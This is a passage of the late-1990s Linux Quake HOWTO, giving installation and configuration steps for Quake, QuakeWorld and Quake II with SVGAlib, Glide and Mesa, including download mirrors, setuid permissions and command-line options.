  • 16 MB RAM (24 recommended)
  • The Quake CD-ROM or the shareware version (quake106.zip)
  • Linux kernel version 2.0.24 or later
  • libc 5.2.18 or later
  • One of the following:
    • X11R5 or later (for xquake)
    • SVGAlib 1.2.0 or later (for squake and glquake)
  • 30-80 megabytes free disk space (depends on how you install)
  • Access to the root account of the machine you're installing on

Optional:

  • A supported soundcard
  • A 3Dfx VooDoo Graphics or VooDoo2 3D graphics accelerator card.
  • Mesa 2.6 or later (for glquake)

2.2 Installing Quake

Download the Necessary Files

All the necessary files for Linux Quake are available at id Software's ftp site, ftp.idsoftware.com. This site can be quite busy at times,so you may want to use one of these mirror sites instead:

  • ftp.cdrom.com/pub/idgames/idstuff (California, USA)
  • ftp.gamesnet.net/idsoftware (California, USA)
  • ftp.linuxquake.com/lqstuff (Ohio, USA)
  • ftp.stomped.com/pub/mirror/idstuff (Minnesota, USA)
  • mirrors.telepac.pt/pub/idgames (Lisbon, Portugal)
  • download.netvision.net.il/pub/mirrors/idsoftware (Haifa, Israel)

The Quake files mentioned in in this section are:

  • Shareware Quake for Windows distribution ftp://ftp.idsoftware.com/idstuff/quake/quake106.zip
  • X11 Quake binary ftp://ftp.idsoftware.com/idstuff/unsup/unix/quake.x11-1.0-i386-unknown-linux2.0.tar.gz
  • SVGAlib Quake binary ftp://ftp.idsoftware.com/idstuff/unsup/squake-1.1-i386-unknown-linux2.0.tar.gz
  • OpenGL/Mesa Quake binary ftp://ftp.idsoftware.com/idstuff/unsup/unix/glquake-0.97-i386-unknown-linux2.0.tar.gz
  • Linux QuakeWorld clients (X11, SVGAlib and GL clients are all included in each package)
    • libc5 tar.gz package ftp://ftp.idsoftware.com/idstuff/quakeworld/unix/qwcl-2.30-i386-unknown-linux2.0.tar.gz
    • glibc tar.gz package ftp://ftp.idsoftware.com/idstuff/quakeworld/unix/qwcl-2.30-glibc-i386-unknown-linux2.0.tar.gz
    • libc5 rpm package ftp://ftp.idsoftware.com/idstuff/quakeworld/unix/qwcl-2.30-1.i386.rpm
    • glibc rpm package ftp://ftp.idsoftware.com/idstuff/quakeworld/unix/qwcl-2.30-glibc-1.i386.rpm
  • Linux QuakeWorld server
    • libc5 tar.gz package ftp://ftp.idsoftware.com/idstuff/quakeworld/unix/qwsv-2.30-i386-unknown-linux2.0.tar.gz
    • glibc tar.gz package ftp://ftp.idsoftware.com/idstuff/quakeworld/unix/qwsv-2.30-glibc-i386-unknown-linux2.0.tar.gz
    • libc5 rpm package ftp://ftp.idsoftware.com/idstuff/quakeworld/unix/qwsv-2.30-1.i386.rpm
    • glibc rpm package ftp://ftp.idsoftware.com/idstuff/quakeworld/unix/qwsv-2.30-glibc-1.i386.rpm
  • Capture the Flag client package ftp://ftp.cdrom.com/pub/quake/planetquake/threewave/ctf/client/3wctfc.zip

Other software mentioned:

  • lha archive utility ftp://sunsite.unc.edu/pub/Linux/utils/compress/lha-1.00.tar.Z.
  • SVGAlib graphics library http://sunsite.unc.edu/pub/Linux/libs/graphics/svgalib-1.3.0.tar.gz
  • SVGAlib libc5 binary http://sunsite.unc.edu/pub/Linux/libs/graphics/svgalib-1.3.0.libc5.bin.tar.gz
  • Glide runtime libraries http://glide.xxedgexx.com/3DfxRPMS.html

Create the Installation Directory ++

The first thing you'll need to do is decide where you want to install Quake. The "standard" location is /usr/local/games/quake. This is where the .rpm packages put Quake. If you choose to install somewhere else, please substitute the appropriate path wherever /usr/local/games/quake is mentioned.

Note to Redhat users: If you plan on installing QuakeWorld from the rpm packages, you should probably install Quake in /usr/local/games/quake, since the rpms install to this directory by default.

So go ahead and create the directory you'll install Quake in, and cd to it. The rest of these instructions will assume that this is your current directory.

     mkdir /usr/local/games/quake
     cd /usr/local/games/quake

Installing From a Quake CD

If you're installing from a Quake CD-ROM, read on. Otherwise you have permission to skip this section.

There are at least two versions of the Quake CD in circulation. I've got one from the early days that has Quake version 1.01 on it. Iv'e seen other CDs that contain version 1.06. You have 1.01 if you see files on your CD called quake101.1 and quake101.2. If instead you see a file called resource.1, you have a newer CD. Mount your Quake CD now and determine which version you've got. In the example below, replace /dev/cdrom and /mnt/cdrom with the device file and mount point appropriate for your sysem:

     mount -t iso9660 /dev/cdrom /mnt/cdrom
     ls /mnt/cdrom

  • If you have a resource.1 file on your CD, you can skip ahead to the next bullet. For a version 1.01 CD, you'll need to download the Quake shareware package to update the .pak files after the installation. The last bullet in this section explains this.
    • Concatenate the two resource files from your CD to a single file on your hard disk:
           cat /mnt/cdrom/quake101.1 /mnt/cdrom/quake101.2 > resource.1
    • Now continue on to the next paragraph, but when I refer to /mnt/cdrom/resource.1, you should use /usr/local/games/quake/resource.1 instead.

  • Now it's time to extract the Quake files. The resource.1 file on your CD is really an lha archive (lha is a file compression and archiving format like zip or tar). We'll use the lha(1) command to extract it. If lha is not already installed on your system, you can get it from ftp://sunsite.unc.edu/pub/Linux/utils/compress/lha-1.00.tar.Z.
         lha e /mnt/cdrom/resource.1
    When lha is done, your Quake directory will contain a bunch of new files. A directory called id1/ will also be created. The files in this directory are the only ones that are important for Linux Quake, so you can safely remove everything else. If you're totally new to Quake, or even if you're not, you may want to hang on to the *.txt files. On my system, I throw all the readmes that accumulate into a doc/ directory. So:
         cd /usr/local/games/quake
     mkdir doc
     mv *.txt doc
     rm -f *
  • If you installed from a version 1.01 CD, now you need to overwrite your id1/pak0.pak file with the one from the Quake shareware version. Install the shareware version as described in Shareware Version Install, only install it in some temporary directory so you don't overwrite your real Quake files. When you've extracted all the shareware files, copy the id1/pak0.pak file from the temporary shareware directory to your /usr/local/games/quake/id1 directory. After that, you can erase the temporary shareware files.

That's it for installing from the CD. You can jump ahead to section " Installing the Linux Binaries" now.

DOS/Windows to Linux Install

If you have Quake installed under Windows or DOS on a different machine, you can transfer the files in quake\id1\ to your Linux system via FTP or some other mechanism. Keep in mind that the filenames on your Linux system must be in lower case for Quake to find them, so you may have to rename them after the transfer. Also note that it may be necessary to delete your DOS/Win installation after you do this to remain in compliance with the terms of id's software license. It's not my fault if you do something illegal.

If your DOS/Win and Linux systems are on the same machine, you have two options: copy the files from your DOS/Windows partition to your Linux partition, or link to the necessary files from Linux. Both options will work equally well. You just save around 50 megabytes of disk space when you link instead of copy.

Whatever you choose to do, start by cd'ing to your Quake directory and creating a new directory below it called id1:

     cd /usr/local/games/quake
     mkdir id1

  • If you want to copy the files from your DOS/Windows partition, do something like this:
         cp /win95/games/quake/id1/*.pak id1
  • To create links to your DOS/Windows Quake files instead, do this:
         cd id1
     ln -s /win95/games/quake/id1/*.pak .

Replace /win95/games/quake with the correct path to your DOS/Windows partition and Quake installation directory.

The Quake data files are now installed. Move ahead to " Installing the Linux Binaries".

Shareware Version Install

The single-episode shareware version of Quake is freely available for download from id's ftp site. It has all the features of the full version, with a couple of major limitations: You can't play QuakeWorld with it, and you can't play custom or modified levels.

Installing the shareware version of Quake isn't really much different than installing from the CD.

See section Download the Necessary Files for the location of the shareware distribution. Download it and extract it to your Quake directory:

     cd /usr/local/games/quake
     unzip -L /wherever/you/put/it/quake106.zip

Now you've got (among others) a file called resource.1 that's really an lha archive (lha is a file compression and archiving format like zip or tar). We'll use the lha(1) command to extract it. If lha is not already installed on your system, you can get it from ftp://sunsite.unc.edu/pub/Linux/utils/compress/lha-1.00.tar.Z.

     lha e resource.1

When lha is done, your Quake directory will contain a bunch of new files. A directory called id1/ will also be created. The files in this directory are the only ones that are important for Linux Quake, so you can safely remove everything else. If you're totally new to Quake, or even if you're not, you may want to hang on to the *.txt files. On my system, I throw all the readmes that accumulate into a doc/ subdirectory. So:

     cd /usr/local/games/quake
     mkdir doc
     mv *.txt doc
     rm -f *

Now you're ready to install the Linux binaries.

2.3 Adding the Linux Binaries

Decide which of the three flavors of Quake you'd like to install:

  • X11 Quake allows you to run Quake in a window on your X desktop. It's the least exciting client, but it's a great, safe way to test your installation.
  • Squake is the SVGAlib Quake client. It runs full screen on your console.
  • GLQuake is the OpenGL Quake client, the One True Way to play Quake if you have a 3Dfx accellerator card.

Download the packages you want (see section Download the Necessary Files) and extract them to your Quake directory like so:

     cd /usr/local/games/quake
     tar -xzf XXXX-i386-unknown-linux2.0.tar.gz

2.4 Setting Permissions

Quake and QuakeWorld servers can be run by any user. The Quake clients, however, need access to your sound and graphics cards, which requires privileges that normal users don't have. One (bad) way to deal with this is to always run Quake as root. Responsible system administrators will cringe at this filthy suggestion. Making the Quake binaries setuid root is a more acceptable solution. Quake can then be run by regular users and still have the privileges it needs to access the sound and graphics devices. Setuid presents a security risk, though. A clever user could exploit a bug or security hole in Quake to gain root access to your system. Of course, if you don't run a multi-user system, this is may not be a big concern.

squake is the only Quake client that must be run with root permissions. With a little work, you can run the X and GL clients without setuid. Running X and GL games without setuid in the Tips and Tricks section tells how to make this work.

If you plan to run squake, make it setuid root with the following commands:

     chown root squake
     chmod 4755 squake

If you've decided it's ok to run quake.x11 and glquake setuid root on your system, you can repeat the above commands for these binaries as well.

2.5 X11 Quake

If you installed the X11 client, now's a good time to try it out. You may need to do further configuration for glquake and squake, but at this point quake.x11 should be ready to go.

     cd /usr/local/games/quake
     ./quake.x11

If all is well, a small Quake window should appear with the first demo running in it. You should hear sound effects and possibly music, if your CD is in the drive. If any of this fails to occur, please see the Troubleshooting section for help.

2.6 SVGAlib Quake

Both squake and glquake require SVGAlib to run (glquake uses SVGAlib to process keyboard and mouse input, in case you're wondering). SVGAlib comes with most modern Linux distributions, and must be properly configured before squake or glquake will run correctly.

libvga.config is SVGAlib's configuration file. On most systems you'll find it in either /etc or /etc/vga. Make sure the mouse, monitor, and video card settings in this file are correct for your system. See the SVGAlib documentation for more details.

If you don't already have SVGAlib on your system, download it from the location mentioned in the files section above.

If you have a RedHat 5.x or other glibc-based Linux distribution, see Glibc, RedHat 5.x, Debian 2 considerations in the Troubleshooting/FAQs section for important information about compiling libraries for use with Quake. A precompiled libc5 SVGAlib binary is available at http://sunsite.unc.edu/pub/Linux/libs/graphics/svgalib-1.3.0.libc5.bin.tar.gz for those who don't want to deal with the hassle of compiling for libc5.

You should run squake from a virtual console. It won't run from X unless you're root when you start it. And running a game as the root user is something that should be avoided. So if you're in X, do a CTRL+ALT+F1, login and then:

     cd /usr/local/games/quake
     ./squake

Running SVGA and GL games from X in the Tips & Tricks section below explains how to launch SVGA and GL Quake from X without manually switching to a virtual console.

2.7 GLQuake

Hardware-accelerated OpenGL Quake is Quake the way God intended it to be. There is no substitute, and once you've experienced it there's no going back.

To run glquake, you need a 3D card with the Voodoo, Voodoo2 or Voodoo Rush graphics chipset on it. There are specific issues to be dealt with if you have a Voodoo Rush card, and I won't go into them now because frankly, I wouldn't know what I was talking about. A future version of this HOWTO will cover Rush issues (If somebody wants to write about Voodoo Rush issues, I'll gladly include it here).

The SVGAlib, Glide, and Mesa libraries must all be installed and configured properly on your system for glquake to work. The following sections will very briefly cover what you need to do to get them going.

Bernd Kreimeier's ( bk@gamers.org) Linux 3Dfx HOWTO ( http://www.gamers.org/dEngine/xf3D/howto/3Dfx-HOWTO.html) is good source for further information.

The 3dfx.glide.linux newsgroup on the 3dfx news server (news.3dfx.com) is another good source of information about the intersection of Linux, glide, Mesa and Quake.

SVGAlib

glquake uses SVGAlib to get input from the mouse and keyboard, so you'll need to configure it as outlined in section SVGAlib Quake.

Glide ++

Glide is a library that provides an API for programming 3Dfx based cards. If you want the Mesa graphics library to use your 3Dfx card, you've gotta have it.

Do NOT use the Linux Glide library distributed at 3Dfx's web site. It's more than a year out of date. You're bound to have problems if you try to use it. The latest version of glide can always be found at http://glide.xxedgexx.com/3DfxRPMS.html. Select the package(s) appropriate for your system, and install according to the instructions on the web page.

Note that unless you download the 3Dfx device driver package in addition to the Glide library, you will only be able to run Glide applications (like GLQuake) as root. Install the /dev/3dfx module and you can play GLQuake as a regular user. PentiumPro/Pentium II users have an additional incentive for downloading this driver: it can dramatically increase your framerate. The driver enables support for MTRRs, a memory-caching feature of these CPUs. See http://glide.xxedgexx.com/MTRR.html for a better explanation of this feature.

Once you have glide installed, try out the test program that comes with it. Remember this program: it's a good way to reset your display if you ever have a glide application (like GLQuake) crash and leave your screen switched off. NOTE: run this test from a VC, not X! It's possible for the test app to lose mouse and keyboard focus in X, and then you'll have no way of shutting it down.

     /usr/local/glide/bin/test3Dfx

Your screen should turn blue and prompt you to hit any key. After you press a key you should be returned to the prompt. 3dfx.glide.linux on 3dfx's news server (news.3dfx.com) is a great source of information for Linux glide-specific problems.

Mesa

Once glide's installed, you need to install Mesa, a free OpenGL implementation by Brian Paul (brianp@elastic.avid.com). Luckily, you won't have to look far, because Mesa 2.6 is included with the QLQuake & QuakeWorld binaries. All you have to do is move it to the right place:

     cd /usr/local/games/quake
     cp libMesaGL.so.2.6 /usr/local/lib
     ldconfig

The RedHat distribution comes with a (IMO) broken ld.so configuration. /usr/local/lib is not part of ld.so's search path by default, so anything you install there won't get used. You can remedy the situation by adding the line /usr/local/lib to your /etc/ld.so.conf file, or including /usr/local/lib in your $LD_LIBRARY_PATH. Alternatively, you could install all new libraries someplace like /lib, but this approach seriously offends my tidy nature.

If you want to upgrade Mesa to a more recent version (Mesa 3.0 is the most recent version as of this writing), you can download the latest from ftp://iris.ssec.wisc.edu/pub/Mesa If you have a RedHat 5.x or other glibc-based Linux distribution, see Glibc, RedHat 5.x, Debian 2 considerations in the Troubleshooting/FAQs section for important information about compiling libraries for Quake.

After you've built it according to the instructions, you will have to do two things:

  • Remove your old Mesa installation. If you previously installed a libMesaGL.so.2.6 as described above, you must remove it or Quake may not use the new version.
         cd /usr/local/lib/
     rm -f libMesaGL.so.2*
  • If the new Mesa has a major version number that's greater than 2, you need to create a link to it with the name libMesaGL.so.2:
         cd /usr/local/lib/
     ln -s /wherever/you/installed/it/libMesaGL.so.3.0 libMesaGL.so.2
     ldconfig

Now switch to a VC (CTRL+ALT+F1) and start glquake.

     cd /usr/local/games/quake
     ./glquake

2.8 Linux-Specific Command Line Options

This section covers command line options that are specific to the Linux versions of Quake. There are plenty of other Quake options, but they're beyond the scope of this HOWTO. Check out some of the sites listed in section General Quake Information for this kind of information.

-mem num

Specify memory in megabytes to allocate (default is 8MB, which should be fine for most needs).

-nostdout

Don't do any output to stdout. Use this if you don't want all the console output dumped to your terminal.

-mdev device

Mouse device, default is /dev/mouse

-mrate speed

Mouse baud rate, default is 1200

-cddev device

CD device, default is /dev/cdrom

-mode num

Use indicated video mode (squake only)

-nokdb

Don't initialize keyboard

-sndbits 8 or 16

Set sound bit sample size. Default is 16 if supported.

-sndspeed speed

Set sound speed. Usual values are 8000, 11025, 22051 and 44100. Default is 11025.

-sndmono

Set mono sound

-sndstereo

Set stereo sound (default if supported)

2.9 QuakeWorld

http://www.quakeworld.net says it better than I could:

QuakeWorld is an Internet multi-player specific version of Quake. While the original version of Quake can be played over the Internet, modem users - the majority of players, had less than satisfactory play. Symptoms like excessive lag - actions actually happening much later than you did them; packet loss - the game would freeze and resume several seconds later; and various other difficulties plagued users. After realizing how many people played Quake on the internet, and how many wanted to, but couldn't due to the play being unsatisfactory, John Carmack of id Software decided to create a version of Quake that was optimized for the average modem Internet player. This Internet specific version does only 1 thing, play deathmatch games over a TCP/IP network such as the Internet. It has no support for solo play, and you can't do anything with out connecting to a special server.

You need the full, registered or retail version of Quake to play QuakeWorld, and a Linux QuakeWorld client. QuakeWorld clients come in the same flavors (X11, SVGAlib and Mesa) as normal Quake, but they're all bundled together in one package, so you only need to download one file. However, you've got four packages to choose from:

  • a libc5 tar.gz package
  • a glibc tar.gz package
  • a libc5 rpm package
  • a glibc rpm package

Install just one of these packages. Each contains the same files, they're just linked against different libraries. Redhat 5.x users should choose the the glibc rpm package. Users of glibc based systems without rpm support should use the glibc tar package. The libc5 rpm is for Redhat distributions prior to 5.0 and other distributions that use the rpm package format. The libc5 tar.gz package is for Slackware and everyone else.

See the Download the Necessary Files section for the location of the Linux Quakeworld files.

The prerequisites and configuration for these binaries are the same as for Quake, so refer to the previous sections for help on setting up SVGAlib or glide/Mesa.

Installing the RPM packages

Installation of the rpm packages should be as simple as:

     su root
     rpm -Uvh qwcl-xxxxx.i386.rpm

qwcl, glqwcl and glqwcl.glx will be installed setuid root so that they can access the graphics devices on your system. The X and GL clients can be run without root privileges if you follow the instructions in Running X and GL games without setuid below.

Rpm may complain that it can't find libglide2x.so. The Glide library is only necessary if you have a 3Dfx card and want to run QuakeWorld in GL mode (glqwcl). If you don't plan to use the GL mode, you can override the glide dependency with the --nodeps option:

     su root
     rpm -Uvh qwcl-xxxxx.i386.rpm --nodeps

Installing the tar.gz packages

To install, just untar the file in your Quake directory. Do it as root so the proper file permissions get set:

     cd /usr/local/games/quake
     su root
     tar -xzf qwcl2.21-i386-unknown-linux2.0.tar.gz

qwcl, glqwcl and glqwcl.glx will be installed setuid root so that they can access the graphics devices on your system. The GL and X clients can be run without root privileges if you follow the instructions in Running X and GL games without setuid below.

Running QuakeWorld

Once QuakeWorld is installed alongside your Quake files, you can start it up like:

     ./qwcl +connect some.server.address

See section Related Software for info about some nifty front ends for QuakeWorld that make finding servers easy.

  • lib3dfxgl.so

    With Quakeworld version 2.30, an alternative to the Mesa library is available. lib3dfxgl.so is a mini-GL driver optimized for Quake that provides slightly better framerates than Mesa. This is a port of a driver that 3Dfx developed for Quake under Windows, and apparently not all of its features work properly yet. So hopefully we can expect its performance to improve with time.

    Like Mesa, lib3dfxgl.so requires Glide in order to access your 3Dfx card. The Quakeworld packages come with a script, glqwcl.3dfxgl for running Quakeworld with this library on glibc systems. The next paragraph explains how to run Quakeworld with lib3dfxgl.so on a libc5 system. On a glibc system in order for this script to work,the glqwcl executable must not be setuid, nor should you run it as root. glqwcl will silently load Mesa rather than lib3dfxgl.so if it runs with root permissions. This non-root requirement implies that you have the /dev/3dfx driver installed.

    On a libc5 system, you need to create a symbolic link to lib3dfxgl.so called libMesaGL.so.2 like so:

         cd /usr/local/games/quake
     ln -sf lib3dfxgl.so libMesaGL.so.2
    Then start Quakeworld from a script that tells $LD_LIBRARY_PATH to look in the current directory:
         #!/bin/sh

     LD_LIBRARY_PATH=".:$LD_LIBRARY_PATH" ./glqwcl $*

    You can tell which driver is being loaded by looking for output like the following in your console as Quakeworld starts:

         GL_VENDOR: 3Dfx Interactive Inc.
     GL_RENDERER: 3Dfx Interactive Voodoo^2(tm)
     GL_VERSION: 1.1
     GL_EXTENSIONS: 3DFX_set_global_palette WGL_EXT_swap_control GL_EXT_paletted_texture GL_EXT_shared_texture_palette GL_SGIS_multitexture

    If GL_VENDOR says Brian Paul rather than 3Dfx Interactive Inc., that means Mesa is still being used rather than the miniport dirver.

  • glqwcl.glx ++

    glqwcl.glx is linked against standard OpenGL libraries instead of Mesa. This allows Quakeworld to run on other 3D hardware that is supported by other OpenGL implementations. At this time, I dont' know of any OpenGL implementations that support hardware other than 3Dfx, but this renderer ensures that when they appear, we'll be able to play Quakeworld with them.

    Use of the GLX interface also removes GL Quake II's dependency on SVGAlib for keyboard and mouse input.

    This is a GLX application, and as such, must be run from X.

    You can use this client with Mesa/3Dfx if you install Mesa and Glide as explained in the previous section, then set the $MESA_GLX_FX environment variable to "fullscreen" before you run quake2:

         export MESA_GLX_FX=fullscreen
     ./glqwcl.glx +_windowed_mouse 1

    Why the +_windowed_mouse 1 option? Remember that this is an X application which happens to use your 3Dfx card. Even though the display takes up your entire screen, Quakeworld is stil running in a window. This means that if you're not very careful, you could move the mouse pointer outside the Quakeworld window, and Quakeworld will suddenly stop responding to mouse and keyboard input. +_windowed_mouse 1 avoids this problem by telling glqwcl.glx to grab the mouse and not let it move outside its window.

2.10 Servers

Most, if not all, existing information about running a DOS/Windows QW server is equally applicable to running a Linux server.

To start a QuakeWorld server, simply do:

     ./qwsv

The official QuakeWorld server manual lives at http://qwcentral.stomped.com.

2.11 Mods & Addons

One of the very cool things about the Quake games is that the authors made them easily extensible. End users can create their own levels, add new weapons or monsters, or even completely change the rules of the game.

Capture the Flag

This is my favorite variation of both Quake and Quake 2. Instead of just running around and killing everyone you meet (which definitely has its merits, don't get me wrong!), CTF is team-based and more strategic. Dave 'Zoid' Kirsch, also the maintainer of the Linux Quake ports, created this mod.

Everything you need to know about CTF can be found at http://captured.com/threewave/ You need ftp://ftp.cdrom.com/pub/quake/planetquake/threewave/ctf/client/3wctfc.zip to play. To install the client piece of CTF, simply create a directory called ctf in your Quake directory and unzip the 3wctfc.zip file there. The accompanying readme.txt file is chock full of good information.

     cd /usr/local/games/quake
     mkdir ctf
     cd ctf
     unzip -L /wherever/you/put/it/3wctfc.zip

For information on running a CTF server, see the web pages mentioned above.

Mission Packs

Activision released two add-on packs of extra levels for Quake, Scourge of Armagon and Dissolution of Eternity.

  • Mission Pack 1: The Scourge of Armagon Assuming your CD is mounted on /mnt/cdrom and Quake is installed in /usr/local/games/quake:
         cd /usr/local/games/quake
     mkdir hipnotic
     cp /mnt/cdrom/hipnotic/pak0.pak hipnotic
     cp /mnt/cdrom/hipnotic/config.cfg hipnotic
    Play the mission pack like this:
         cd /usr/local/games/quake
     ./quake.x11 -game hipnotic
  • Mission Pack 2: Dissolution of Eternity Installing the second mission pack is pretty much the same procedure as installing the first. Follow the directions for Mission Pack 1, but replace the word hipnotic with the word rogue, and skip the config.cfg step, as this file isn't included on the Mission Pack 2 CD.

Quake Tools

Anybody care to contribute some info about qcc, bsp and all that?


Linux Quake HOWTO: Quake II

 Next Previous Contents

3. Quake II

To install Quake II on your Linux system, you'll need some flavor of the official Quake II distribution from id. This will be either the retail Windows CD-ROM that you bought at your favorite software store, or the demo version you downloaded from the net. See Download the Necessary Files for details on acquiring the demo version. Alternatively, if you've already got Quake installed on a Windows machine, you can use the relevant files from that installation.

3.1 Prerequisites

You will need, as a bare minimum, the following:

  • A Pentium 90 or better (133 recommended) computer
  • 16 MB RAM (24 recommended)
  • The Quake 2 CD-ROM or the demo version (q2-314-demo-x86.exe)
  • Linux kernel version 2.0.24 or later
  • libc 5.2.18 or later
  • One of the following:
    • X11 server that supports the MITSM shared memory extension. 8 and 16 bit displays are supported. (for X renderer)
    • SVGAlib 1.2.10 or later (for SVGA and GL renderer)
  • 25-400 megabytes free disk space (depending on how you install)
  • Access to the root account of the machine you're installing on

Optional:

  • A supported soundcard
  • A 3Dfx Voodoo Graphics or Voodoo2 or Voodoo Rush 3D graphics accelerator card.
  • 3Dfx glide libraries installed (for GL renderer)
  • Mesa 2.6 or later (for GL renderer)

3.2 Installing Quake II

Download the Necessary Files++

All the necessary files for Linux Quake II are available at id Software's ftp site, ftp.idsoftware.com. This site can be quite busy at times,so you may want to use one of these mirror sites instead:

  • ftp.cdrom.com/pub/idgames/idstuff (California, USA)
  • ftp.gamesnet.net/idsoftware (California, USA)
  • ftp.stomped.com/pub/mirror/idstuff (Minnesota, USA)
  • mirrors.telepac.pt/pub/idgames (Lisbon, Portugal)
  • download.netvision.net.il/pub/mirrors/idsoftware (Haifa, Israel)

The Quake II files mentioned in in this section are:

  • Quake II Linux Binaries
    • libc5 tar.gz package ftp.idsoftware.com/idstuff/quake2/unix/quake2-3.20-i386-unknown-linux2.0.tar.gz
    • glibc tar.gz package ftp.idsoftware.com/idstuff/quake2/unix/quake2-3.20-glibc-i386-unknown-linux2.0.tar.gz
    • libc5 rpm package ftp.idsoftware.com/idstuff/quake2/unix/quake2-3.20-6.i386.rpm
    • glibc rpm package ftp.idsoftware.com/idstuff/quake2/unix/quake2-3.20-glibc-6.i386.rpm
  • Quake II Demo Version for Windows ftp://ftp.idsoftware.com/idstuff/quake2/q2-314-demo-x86.exe
  • Quake II Game Source ftp://ftp.idsoftware.com/idstuff/quake2/source/q2src320.shar.Z
  • Xatrix (Mission Pack 1) Game Source ftp://ftp.idsoftware.com/idstuff/quake2/source/xatrixsrc320.shar.Z
  • Rogue (Mission Pack 2) Game Source ftp://ftp.idsoftware.com/idstuff/quake2/source/roguesrc320.shar.Z
  • Quake II Capture the Flag ftp://ftp.idsoftware.com/idstuff/quake2/ctf/q2ctf102.zip
  • Quake II Capture the Flag Game Source ftp://ftp.idsoftware.com/idstuff/quake2/ctf/source/q2ctf-1.02-source.shar.Z

Other software mentioned:

  • SVGAlib graphics library http://sunsite.unc.edu/pub/Linux/libs/graphics/svgalib-1.3.0.tar.gz
  • SVGAlib libc5 binary http://sunsite.unc.edu/pub/Linux/libs/graphics/svgalib-1.3.0.libc5.bin.tar.gz
  • Glide runtime libraries http://glide.xxedgexx.com/3DfxRPMS.html
  • Mesa 3D graphics library http://www.ssec.wisc.edu/~brianp/Mesa.html
  • unzip archive utility http://sunsite.unc.edu/pub/Linux/utils/compress/unzip-5.31.tar.gz

Create the Installation Directory ++

The first thing you'll need to do is decide where you want to install Quake II. The "standard" location is /usr/local/games/quake2. This is where the .rpm packages put Quake II. If you choose to install somewhere else, please substitute the appropriate path wherever /usr/local/games/quake2 is mentioned.

So go ahead and create the directory you'll install Quake II in, and cd to it. The rest of these instructions will assume that this is your current directory.

     mkdir /usr/local/games/quake2
     cd /usr/local/games/quake2

Installing from CD

Place your Quake II CD in your CD ROM drive, and mount it:

     mount -t iso9660 /dev/cdrom /mnt/cdrom

If your CDROM is typically mounted elsewhere, substitute its location for /mnt/cdrom. If you're not sure where your CDROM is mounted, please see the documentation for your particular distribution.

  • Full Install The simplest install method is a "full" install, which involves copying the entire contents of your CD to your hard drive. This requires about 350 MB, and is accomplished by issuing the following commands:
         cd /usr/local/games/quake2
     cp -r /mnt/cdrom/Install/Data/* .
    There'll be a bunch of unnecessary Windows files hanging around that you can safely delete:
         rm -f /usr/local/quake2/*.dll
     rm -f /usr/local/quake2/quake2.exe
     rm -f /usr/local/quake2/baseq2/gamex386.dll
  • Medium Install If 450 MB is too much space for you to devote to Quake II, you can skip installing the movie cutscenes and link to them on the CD-ROM instead. This will reduce the space requirements to about 200 MB:
         cd /usr/local/games/quake2
     mkdir baseq2
     cp /mnt/cdrom/Install/Data/baseq2/pak0.pak baseq2
     cp -r /mnt/cdrom/Install/Data/baseq2/players baseq2
     ln -s /mnt/cdrom/Install/Data/baseq2/video baseq2/video
    Note that this doesn't mean you have to mount your Quake II CD every time to want to play Quake II. If the game can't load the videos, it just won't display them.

Windows to Linux install

If you have Quake II installed under Windows on a different machine, you can transfer the files in quake2\baseq2\ to your Linux system via FTP or some other mechanism. Keep in mind that the filenames on your Linux system must be in lower case for Quake II to find them, so you may have to rename them after the transfer. Also note that it may be necessary to delete your Windows installation after you do this to remain in compliance with the terms of id's software license. It's not my fault if you do something illegal.

If your Windows and Linux systems are on the same machine, you have two options: copy the files from your Windows partition to your Linux partition, or link to the necessary files from Linux. Both options will work equally well. You'll just save a lot of disk space when you link instead of copy. As usual, replace /win95/games/quake2 in the following examples with the correct path to your Windows partition and Quake II installation.

  • If you want to copy the files from your Windows partition, do something like this:
         cd /usr/local/games/quake2
     cp -r /win95/games/quake2/baseq2 .
  • To create links to your Windows Quake II files instead, do this:
         cd /usr/local/games/quake2
     ln -s /win95/games/quake2/baseq2 .
    This second method requires that the Windows partition you're linking to be writeable by users, which may not be appropriate for all systems. By making your Windows partition writeable, you are giving all users the opportunity to destroy your entire Windows installation. If that's ok with you, modify your /etc/fstab to mount the Windows partition with the options umask=002,gid=XXX, where XXX is the group id number of the "users" group. Look in /etc/group for this information. When fstab is updated, umount and re-mount the Windows partition and you're done.

You're done installing the Quake II data files. Move ahead to " Installing the Linux Binaries".

Installing the demo version

id Software has a freely available demo version of Quake II at their ftp site. It's a 40 megabyte download. The demo includes all features of the full version, including multiplayer, but it only comes with three levels, so it may be difficult to find a server to play on.

See the section Download the Necessary Files above for the location of the Quake II demo. Download it and place it in your Quake II directory.

The demo distribution is a self-extracting zip file (it's self-extracting in other OS's anyway). You can extract it with the unzip(1) command, which should be included in most modern distributions. If you don't have unzip, you can download it from the location listed in the Download the Necessary Files section.

cd to your Quake II directory and extract the archive:

     cd /usr/local/games/quake2
     unzip q2-314-demo-x86.exe

Now we've got to delete some things and move some other things around:

     rm -rf Splash Setup.exe
     mv Install/Data/baseq2 .
     mv Install/Data/DOCS docs
     rm -rf Install
     rm -f baseq2/gamex86.dll

The Quake II demo is now installed. You just need to add the Linux binaries.

3.3 Adding the Linux Binaries

There are four Linux Quake II packages available for download:

  • a libc5 tar.gz package
  • a glibc tar.gz package
  • a libc5 rpm package
  • a glibc rpm package

Install just one of these packages. Each contains the same files, they're just linked against different libraries. Redhat 5.x users should choose the the glibc rpm package. Users of glibc based systems without rpm support should use the glibc tar package. The libc5 rpm is for Redhat distributions prior to 5.0 and other distributions that use the rpm package format. The libc5 tar.gz package is for Slackware and everyone else.

See the Download the Necessary Files section for the location of the Linux Quake II files.

Installing the RPM packages

Installation of the rpm packages should be as simple as:

     su root
     rpm -Uvh quake2-xxxxx.i386.rpm

Rpm may complain that it can't find libglide2x.so. The Glide library is only necessary if you have a 3Dfx card and want to run Quake II in GL mode. If you don't plan to use the GL mode, you can override the glide dependency with the --nodeps option:

     su root
     rpm -Uvh quake2-xxxxx.i386.rpm --nodeps

Installing the tar.gz packages

To install, just untar the file in your Quake II directory. Do it as root so the proper file permissions get set:

     cd /usr/local/games/quake
     su root
     tar -xzf qwcl2.21-i386-unknown-linux2.0.tar.gz

3.4 Setting Permissions

If you ran rpm or tar as root when installing the Quake II package on your system, the file permissions should be properly set already. The quake2 executable was installed setuid root so that it can access the graphics devices on your system. For security, the ref_*.so rendering libraries are owned by root and writeable only by him. If root doesn't own the libraries, or they're world writeable, quake2 will refuse to run.

If you plan to only run Quake II with the GL or X renderers, your quake2 doesn't need to be setuid root. See Running X and GL games without setuid in the Tips and Tricks section below for information on running Quake II without root permissions.

Quake2.conf

